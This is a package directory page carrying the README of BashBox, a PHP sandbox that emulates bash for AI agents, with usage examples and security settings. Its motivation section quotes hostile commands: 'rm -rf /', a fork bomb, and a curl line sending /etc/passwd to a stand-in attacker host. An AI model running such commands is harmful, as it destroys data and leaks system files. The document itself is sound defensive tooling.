PHPackages                             shipfastlabs/bashbox - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Utility &amp; Helpers](/categories/utility)
4. /
5. shipfastlabs/bashbox

ActiveLibrary[Utility &amp; Helpers](/categories/utility)

shipfastlabs/bashbox
====================

A sandboxed bash interpreter for AI agents, written in pure PHP 8.4+

v0.0.2(3mo ago)1201MITPHPPHP ^8.4.0CI passing

Since Mar 7Pushed 4w agoCompare

[ Source](https://github.com/shipfastlabs/bashbox)[ Packagist](https://packagist.org/packages/shipfastlabs/bashbox)[ RSS](/packages/shipfastlabs-bashbox/feed)WikiDiscussions main Synced 3w ago

READMEChangelog (2)Dependencies (6)Versions (5)Used By (0)

 [![BashBox - Sandboxed Bash for AI Agents](docs/bashbox.png)](docs/bashbox.png)

 [![GitHub Workflow Status (master)](https://github.com/shipfastlabs/bashbox/actions/workflows/tests.yml/badge.svg)](https://github.com/shipfastlabs/bashbox/actions) [![Total Downloads](https://camo.githubusercontent.com/19293702f1406d74e3ed1a1a3973912f3e0ffe98f0f32c312629802eb96d9e23/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f64742f73686970666173746c6162732f62617368626f78)](https://packagist.org/packages/shipfastlabs/bashbox) [![Latest Version](https://camo.githubusercontent.com/053a25f2a96179753c58499b6e8aaba3cd942aca1e4f68122b052ce18653af2a/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f762f73686970666173746c6162732f62617368626f78)](https://packagist.org/packages/shipfastlabs/bashbox) [![License](https://camo.githubusercontent.com/9e0631869f97b12df5193b4356802c5371a1caee13c9e6cca3fabd190e54423a/68747470733a2f2f696d672e736869656c64732e696f2f7061636b61676973742f6c2f73686970666173746c6162732f62617368626f78)](https://packagist.org/packages/shipfastlabs/bashbox)

**BashBox** is a sandboxed bash interpreter for AI agents, written in pure PHP 8.4+. It does not use `proc_open`, `exec`, or `shell_exec`. Every command is a PHP class, every file lives in a virtual filesystem, and every execution has hard limits.

> **Requires [PHP 8.4+](https://php.net/releases/)**

Why BashBox?
------------

[](#why-bashbox)

Imagine you are building an AI coding assistant. A user asks: "Can you analyze my logs and find all error messages from the last hour?"

Your AI generates a bash script:

```
cat /var/log/app.log | grep "ERROR" | awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn
```

**The problem:** Running user-generated bash code on your servers is dangerous. One malicious script could delete critical files (`rm -rf /`), exfiltrate sensitive data (`curl -d @/etc/passwd attacker.com`), launch denial-of-service attacks (`:(){ :|:& };:`), or access internal network resources (SSRF attacks).

**Traditional solutions** use containers or VMs, but those are slow, resource-heavy, and complex to orchestrate.

**BashBox** takes a different approach. It implements a complete bash interpreter in pure PHP with zero system calls. Think of it as a "bash emulator" that gives you:

- **Instant execution** with no container startup time
- **True isolation** with no access to your real filesystem or network unless you explicitly allow it
- **Fine-grained control** to limit commands, loops, memory, and execution time
- **Full bash compatibility** including pipes, redirects, functions, control flow, and substitutions

Perfect for AI agents, code execution platforms, CI/CD systems, or anywhere you need to run untrusted bash scripts safely.

Installation
------------

[](#installation)

Install BashBox using [Composer](https://getcomposer.org):

```
composer require shipfastlabs/bashbox
```

Usage Examples
--------------

[](#usage-examples)

### Basic Script Execution

[](#basic-script-execution)

```
use BashBox\Bash;

$bash = new Bash;

$result = $bash->exec('echo "Hello, World!"');

$result->stdout;   // "Hello, World!\n"
$result->exitCode; // 0
```

### Variables and Pipes

[](#variables-and-pipes)

```
$result = $bash->exec('
    NAME="BashBox"
    echo "Hello, $NAME" | tr a-z A-Z
');

$result->stdout; // "HELLO, BASHBOX\n"
```

### Write and Read Files

[](#write-and-read-files)

```
$bash->exec('echo "hello" > greeting.txt');
$bash->exec('cat greeting.txt'); // "hello\n"

// Or directly via PHP:
$bash->writeFile('/home/user/data.txt', 'some content');
$bash->readFile('/home/user/data.txt'); // "some content"
```

### Pre-loaded Files

[](#pre-loaded-files)

```
use BashBox\Bash;
use BashBox\BashOptions;

$bash = new Bash(new BashOptions(
    initialFiles: [
        '/home/user/config.json' => '{"key": "value"}',
        '/home/user/script.sh' => 'echo "running"',
    ],
));

$result = $bash->exec('cat config.json');
$result->stdout; // '{"key": "value"}'
```

### Environment Variables

[](#environment-variables)

```
$bash = new Bash(new BashOptions(
    env: ['APP_ENV' => 'production', 'DEBUG' => 'false'],
));

$result = $bash->exec('echo $APP_ENV');
$result->stdout; // "production\n"
```

### Control Flow

[](#control-flow)

```
$result = $bash->exec('
    for i in 1 2 3; do
        echo "Item $i"
    done
');

$result->stdout; // "Item 1\nItem 2\nItem 3\n"
```

```
$result = $bash->exec('
    if [ -f greeting.txt ]; then
        echo "exists"
    else
        echo "not found"
    fi
');
```

### Functions

[](#functions)

```
$result = $bash->exec('
    greet() {
        echo "Hello, $1!"
    }
    greet World
    greet PHP
');

$result->stdout; // "Hello, World!\nHello, PHP!\n"
```

### Stdin

[](#stdin)

```
use BashBox\ExecOptions;

$result = $bash->exec('grep "error"', new ExecOptions(
    stdin: "line 1\nerror found\nline 3\n",
));

$result->stdout; // "error found\n"
```

### Execution Limits

[](#execution-limits)

```
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Limits;

$bash = new Bash(new BashOptions(
    limits: new Limits(
        maxCommandCount: 100,
        maxLoopIterations: 500,
        maxOutputSize: 1024 * 1024, // 1MB
        maxCallDepth: 10,
    ),
));
```

### Custom Commands

[](#custom-commands)

```
use BashBox\Commands\AbstractCommand;
use BashBox\Commands\CommandContext;
use BashBox\ExecResult;

class MyCommand extends AbstractCommand
{
    public function getName(): string
    {
        return 'mycommand';
    }

    public function execute(array $args, CommandContext $ctx): ExecResult
    {
        return $this->success('Hello from my command!');
    }
}

$bash->registerCommand(new MyCommand);
$result = $bash->exec('mycommand');
$result->stdout; // "Hello from my command!"
```

### Filesystem Backends

[](#filesystem-backends)

BashBox ships with four filesystem backends:

```
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Filesystem\InMemoryFs;
use BashBox\Filesystem\OverlayFs;
use BashBox\Filesystem\ReadWriteFs;
use BashBox\Filesystem\MountableFs;

// In-memory (default) — nothing touches disk
$bash = new Bash;

// Overlay — reads from a real directory, writes stay in memory
$bash = new Bash(new BashOptions(
    fs: new OverlayFs('/path/to/project'),
));

// Read-write — real disk I/O via amphp/file
$bash = new Bash(new BashOptions(
    fs: new ReadWriteFs('/path/to/sandbox'),
));

// Mountable — combine multiple backends at different paths
$mount = new MountableFs(new InMemoryFs);
$mount->mount('/data', new ReadWriteFs('/real/data'));
$bash = new Bash(new BashOptions(fs: $mount));
```

All backends implement the same `FileSystemInterface`, including:

- File reads, writes, appends, copies, moves, and deletes
- Directory creation and directory listing with file-type metadata
- `stat` / `lstat` metadata via `FsStat`
- `chmod`, `utimes`, hard links, symbolic links, `readlink`, and `realpath`

Backend behavior:

- `InMemoryFs` is fully virtual and never touches disk
- `OverlayFs` reads from a real directory and keeps writes in an in-memory copy-on-write layer
- `ReadWriteFs` reads and writes directly to disk inside the configured root
- `MountableFs` combines multiple backends under different mount points and supports cross-mount copies

Example:

```
$bash = new Bash(new BashOptions(
    fs: new ReadWriteFs('/path/to/sandbox'),
));

$bash->exec('echo "#!/bin/bash" > /script.sh');
$bash->getFilesystem()->chmod('/script.sh', 0755);

$stat = $bash->getFilesystem()->stat('/script.sh');
$stat->mode;  // 0755
$stat->size;  // file size in bytes
```

### Network Access

[](#network-access)

Network is **off by default**. Enable it by passing a `NetworkConfig`:

```
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Network\NetworkConfig;

$bash = new Bash(new BashOptions(
    network: new NetworkConfig(
        allowedUrlPrefixes: ['https://api.example.com/'],
        allowedMethods: ['GET', 'POST'],
        denyPrivateRanges: true,  // SSRF protection
        maxResponseSize: 5 * 1024 * 1024, // 5MB
        maxRedirects: 10,
        timeout: 10,
    ),
));

$result = $bash->exec('curl -s https://api.example.com/data');
```

#### Unrestricted Network Access

[](#unrestricted-network-access)

For scenarios where you need full internet access without URL or method restrictions, use the `dangerouslyAllowFullInternetAccess` option:

```
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Network\NetworkConfig;

$bash = new Bash(new BashOptions(
    network: new NetworkConfig(
        dangerouslyAllowFullInternetAccess: true,
        // denyPrivateRanges still protects against SSRF attacks
        denyPrivateRanges: true,
        maxResponseSize: 5 * 1024 * 1024, // 5MB
        maxRedirects: 10,
        timeout: 10,
    ),
));

// Now any URL and HTTP method is allowed
$result = $bash->exec('curl -X POST https://any-website.com/api');
```

> **⚠️ SECURITY WARNING:** The `dangerouslyAllowFullInternetAccess` option disables URL prefix and HTTP method restrictions. Only use this in trusted environments where you control the input. SSRF protection (`denyPrivateRanges`) is still applied unless explicitly disabled.

When network is configured, the `curl` command becomes available. Without it, `curl` does not exist.

### Sandbox API

[](#sandbox-api)

A simpler API for quick use:

```
use BashBox\Sandbox\Sandbox;

$sandbox = Sandbox::create();

$sandbox->writeFiles([
    '/home/user/app.sh' => 'echo "running"',
]);

$result = $sandbox->runCommand('bash app.sh');
$result->stdout;   // "running\n"
$result->exitCode; // 0

$sandbox->readFile('/home/user/app.sh'); // 'echo "running"'
```

### Available Commands

[](#available-commands)

BashBox includes 35+ built-in commands:

CategoryCommands**Output**`echo`, `printf`, `cat`, `head`, `tail`, `tee`**Files**`ls`, `pwd`, `mkdir`, `rm`, `cp`, `mv`, `touch`, `find`**Text**`grep`, `sort`, `uniq`, `wc`, `cut`, `tr`, `sed`, `rev`**Utils**`xargs`, `env`, `printenv`, `basename`, `dirname`, `seq`**Info**`date`, `which`, `whoami`, `hostname`, `tree`, `test`**Encoding**`base64`**Network**`curl` (only when network is configured)**Builtins**`true`, `false`Shell builtins: `cd`, `export`, `unset`, `local`, `set`, `shopt`, `source`, `eval`, `declare`, `read`, `break`, `continue`, `return`, `exit`, `shift`, `getopts`, `let`, `mapfile`

### Security

[](#security)

BashBox is built for untrusted input:

- No `proc_open`, `exec`, `shell_exec`, `system`, or `passthru` — anywhere
- All filesystem access goes through `FileSystemInterface`
- Path traversal and null-byte injection are blocked
- `OverlayFs` denies symlinks by default when reading from real directories
- Network is off by default; when enabled, every request and redirect target goes through URL prefix checks, method allow-lists, SSRF protection, response-size caps, and timeouts
- Every execution has gas counters for loops, commands, output, and recursion

Contributing
------------

[](#contributing)

### Getting Started

[](#getting-started)

Clone the repo and install dependencies:

```
git clone git@github.com:shipfastlabs/bashbox.git
cd bashbox
composer install
```

### Running Tests

[](#running-tests)

BashBox uses [Pest](https://pestphp.com) for testing, [PHPStan](https://phpstan.org) for static analysis, [Pint](https://laravel.com/docs/pint) for code style, [Rector](https://getrector.com) for automated refactoring, and [Peck](https://github.com/peckphp/peck) for typo checking.

Run everything at once:

```
composer test
```

Or run each tool individually:

```
composer test:unit     # Pest — unit tests with coverage
composer test:types    # PHPStan — static analysis (level 5)
composer test:lint     # Pint — code style check
composer test:refactor # Rector — dry-run refactoring suggestions
composer test:typos    # Peck — spell check class names, methods, etc.
```

To auto-fix code style and apply refactors:

```
composer lint     # Pint — fix code style
composer refactor # Rector — apply refactors
```

### Before Submitting a PR

[](#before-submitting-a-pr)

Make sure the full suite passes:

```
composer test
```

This runs lint, static analysis, tests, and typo checking — in that order. All four must pass.

---

**BashBox** was created by **Pushpak Chhajed** under the **[MIT license](https://opensource.org/licenses/MIT)**.

###  Health Score

39

—

LowBetter than 85% of packages

Maintenance88

Actively maintained with recent releases

Popularity8

Limited adoption so far

Community7

Small or concentrated contributor base

Maturity45

Maturing project, gaining track record

 Bus Factor1

Top contributor holds 100% of commits — single point of failure

How is this calculated?**Maintenance (25%)** — Last commit recency, latest release date, and issue-to-star ratio. Uses a 2-year decay window.

**Popularity (30%)** — Total and monthly downloads, GitHub stars, and forks. Logarithmic scaling prevents top-heavy scores.

**Community (15%)** — Contributors, dependents, forks, watchers, and maintainers. Measures real ecosystem engagement.

**Maturity (30%)** — Project age, version count, PHP version support, and release stability.

###  Release Activity

Cadence

Every ~0 days

Total

2

Last Release

107d ago

### Community

Maintainers

![](https://avatars.githubusercontent.com/u/31663512?v=4)[Pushpak Chhajed](/maintainers/pushpak1300)[@pushpak1300](https://github.com/pushpak1300)

---

Top Contributors

[![pushpak1300](https://avatars.githubusercontent.com/u/31663512?v=4)](https://github.com/pushpak1300 "pushpak1300 (18 commits)")

---

Tags

aibashphpsandboxaisandboxagentsbashinterpreter

###  Code Quality

TestsPest

Static AnalysisPHPStan, Rector

Code StyleLaravel Pint

Type Coverage Yes

### Embed Badge

![Health badge](/badges/shipfastlabs-bashbox/health.svg)

```
[![Health](https://phpackages.com/badges/shipfastlabs-bashbox/health.svg)](https://phpackages.com/packages/shipfastlabs-bashbox)
```

###  Alternatives

[mischasigtermans/laravel-altitude

Claude Code agents for the TALL stack, powered by Laravel Boost

12213.7k](/packages/mischasigtermans-laravel-altitude)[anilcancakir/laravel-ai-sdk-skills

A skill system for Laravel AI SDK agents. Define reusable AI capabilities with SKILL.md files.

215.2k](/packages/anilcancakir-laravel-ai-sdk-skills)[llm/skills

AI skills discovery and management system for LLM agents

212.8k4](/packages/llm-skills)[wordpress/ai-provider-for-google

AI Provider for Google for the PHP AI Client SDK. Works as both a Composer package and WordPress plugin.

161.1k](/packages/wordpress-ai-provider-for-google)

PHPackages © 2026

[Directory](/)[Categories](/categories)[Trending](/trending)[Changelog](/changelog)[Analyze](/analyze)
